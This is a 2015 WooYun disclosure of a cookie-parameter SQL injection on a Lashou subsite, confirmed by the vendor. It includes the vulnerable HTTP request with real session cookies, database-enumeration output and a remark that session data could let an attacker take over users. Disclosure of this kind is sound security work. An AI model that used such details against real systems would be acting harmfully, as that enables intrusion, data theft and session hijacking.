当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098671

漏洞标题:拉手网某网站Cookie注入可跨库

相关厂商:拉手网

漏洞作者: Forever80s

提交时间:2015-02-28 09:50

修复时间:2015-04-14 09:52

公开时间:2015-04-14 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-28: 细节已通知厂商并且等待厂商处理中
2015-02-28: 厂商已经确认,细节仅向厂商公开
2015-03-10: 细节向核心白帽子及相关领域专家公开
2015-03-20: 细节向普通白帽子公开
2015-03-30: 细节向实习白帽子公开
2015-04-14: 细节向公众公开

简要描述:

详细说明:

网站:shunde.lashou.com
cookie参数city_b 注入支持union,同类网站可能存在同样问题

POST /ajax/getSpTuan.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Origin: http://shunde.lashou.com
Referer: http://shunde.lashou.com/shop/796689.html
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-Forwarded-For: 127.0.0.1
Host: shunde.lashou.com
Cookie: ThinkID=e0tuoodjg2vemgq0ogi0966271; client_key=1424895904w93d9fbcd37fe8b0216293; city_b=440606; SORT_BY=time; SORT_PIRCE_DOWN=1; view_goods=%5B%229253671%22%2C%229922399%22%2C%229591113%22%2C%229375917%22%2C%2210018555%22%2C%229950143%22%2C%229670787%22%2C%228942853%22%2C%2210285943%22%2C%229579611%22%5D
Content-Length: 16
Accept-Encoding: gzip, deflate
id=796689&type=1


POC:

所有数据库
[*] information_schema
[*] lashou_activity
[*] lashou_comment
[*] lashou_ht
[*] lashou_info
[*] lashou_stat
[*] mysql
[*] performance_schema
[*] session
[*] test
当前用户
'[email protected].%.%'
注意最后一个库可能是存放用户回话的,如果被恶意者利用可能登录一些用户(处在登录状态或记住登录状态)。

漏洞证明:

修复方案:

版权声明:转载请注明来源 Forever80s@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-02-28 11:09

厂商回复:

已经和研发说明.研发正在修复.多谢关注.

最新状态:

暂无